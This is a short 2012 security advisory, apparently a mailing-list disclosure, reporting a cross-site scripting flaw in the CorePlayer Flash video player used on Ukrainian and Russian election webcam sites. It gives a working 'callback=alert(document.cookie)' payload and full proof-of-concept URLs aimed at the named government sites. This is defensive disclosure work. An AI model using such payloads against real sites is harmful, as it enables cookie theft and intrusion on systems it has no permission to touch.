Cross-Site Scripting vulnerability in CorePlayer

Hello 3APA3A!

I want to warn you about Cross-Site Scripting vulnerability in CorePlayer.

This is the same flash video player, which was used at online voting translations - today, 28.10.2012, on parliamentary elections in Ukraine and earlier this year on presidential elections in Russia.

Concerning elections in Ukraine. At spending 993.6 million gryvnas (approx. $124.2 million) for webcam setup (including development of web site for online translations), they haven't found money for security.

Affected products:

Vulnerable are CorePlayer 4.0.6 and previous versions. At web site webvybory2012.ru version 1.3.2 is used and at web site vybory2012.gov.ua version 4.0.6 is used.

Details:

XSS (WASC-08):

http://site/core_player.swf?callback=alert(document.cookie)

Examples:

http://vybory2012.gov.ua/js/elections/lib/core-player/build/core_player.swf?callback=alert(document.cookie)

http://webvybory2012.ru/flash/core-player.swf?callback=alert(document.cookie)

I mentioned about this vulnerability at my site (http://websecurity.com.ua/6117/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua